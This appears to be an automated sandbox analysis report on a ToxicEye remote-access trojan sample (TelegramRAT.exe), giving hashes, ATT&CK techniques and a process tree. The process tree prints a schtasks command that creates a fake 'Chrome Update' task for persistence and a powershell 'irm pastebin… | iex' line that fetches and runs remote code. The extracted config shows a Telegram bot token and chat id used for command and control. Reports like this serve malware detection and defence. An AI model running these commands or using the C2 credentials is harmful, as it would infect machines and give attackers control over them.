toxiceye | 43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0

Reason

Machine shutdown

General

Target

TelegramRAT.exe
Size

119KB
MD5

47436ad8508cbdbede6535db163766bc
SHA1

c6c6f8eb7dac9f294da1547e30c320a7d316bf52
SHA256

43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0
SHA512

255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c
SSDEEP

3072:gAWfRzlXCwwFwOwWAmm+G/bxqH8QW8zCrAZu/tM1:gAD1SWHe/bg/p

Score

10^/10

toxiceye discovery rat trojan

Malware Config

Extracted

Family

toxiceye

C2

https://api.telegram.org/bot7919388970:AAGC7fUBzVyMANzjN6bhRPjR0LNTw4C5Zlo/sendMessage?chat_id=8130842755

Signatures

ToxicEye
ToxicEye is a trojan written in C#.
rat trojan toxiceye
Toxiceye family
toxiceye

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation	TelegramRAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation	rat.exe

Executes dropped EXE 1 IoCs

pid	Process
548	rat.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2956	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
712	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4480	schtasks.exe
2556	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
548	rat.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
548	rat.exe
548	rat.exe
548	rat.exe
548	rat.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	TelegramRAT.exe
Token: SeDebugPrivilege	2956	tasklist.exe
Token: SeDebugPrivilege	548	rat.exe
Token: SeDebugPrivilege	548	rat.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
548	rat.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 4480	2840	TelegramRAT.exe	84
PID 2840 wrote to memory of 4480	2840	TelegramRAT.exe	84
PID 2840 wrote to memory of 4868	2840	TelegramRAT.exe	86
PID 2840 wrote to memory of 4868	2840	TelegramRAT.exe	86
PID 4868 wrote to memory of 2956	4868	cmd.exe	90
PID 4868 wrote to memory of 2956	4868	cmd.exe	90
PID 4868 wrote to memory of 5000	4868	cmd.exe	91
PID 4868 wrote to memory of 5000	4868	cmd.exe	91
PID 4868 wrote to memory of 712	4868	cmd.exe	92
PID 4868 wrote to memory of 712	4868	cmd.exe	92
PID 4868 wrote to memory of 548	4868	cmd.exe	93
PID 4868 wrote to memory of 548	4868	cmd.exe	93
PID 548 wrote to memory of 2556	548	rat.exe	96
PID 548 wrote to memory of 2556	548	rat.exe	96
PID 548 wrote to memory of 3852	548	rat.exe	99
PID 548 wrote to memory of 3852	548	rat.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe
"C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 2840"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2956
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:5000
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:712
- - C:\Users\ToxicEye\rat.exe
    "rat.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:548
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2556
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c <powershell "irm "pastebin.com/raw/1nfKw4aY" | iex">
      4⤵
      PID:3852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

Query Registry

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat

Filesize
188B

MD5
1f04548062cbc6b9a69a32c887bde930

SHA1
9d481fd4138f202f9a19fa3bc1c7ae96ff6224f2

SHA256
7458e56f9d401c07b04df3422faa24f3337fcd6ec14632272832d0b202d3fee1

SHA512
b22c87c1eca2df2c32d11294b856fc088febb2aca88d41ef19c330e4a3a4aaa68e256b5fda97b3afdc975ee7a9cac8957e742f70710253244cc95c98b5140f72

Download Submit
C:\Users\ToxicEye\rat.exe

Filesize
119KB

MD5
47436ad8508cbdbede6535db163766bc

SHA1
c6c6f8eb7dac9f294da1547e30c320a7d316bf52

SHA256
43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0

SHA512
255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c

Download Submit
memory/548-8-0x00000233A9170000-0x00000233A921A000-memory.dmp

Filesize
680KB

Download
memory/548-9-0x00000233A92D0000-0x00000233A9346000-memory.dmp

Filesize
472KB

Download
memory/2840-0-0x00007FF9D48A3000-0x00007FF9D48A5000-memory.dmp

Filesize
8KB

Download
memory/2840-1-0x000001500FBB0000-0x000001500FBD4000-memory.dmp

Filesize
144KB

Download
memory/2840-2-0x00007FF9D48A0000-0x00007FF9D5362000-memory.dmp

Filesize
10.8MB

Download
memory/2840-5-0x00007FF9D48A0000-0x00007FF9D5362000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads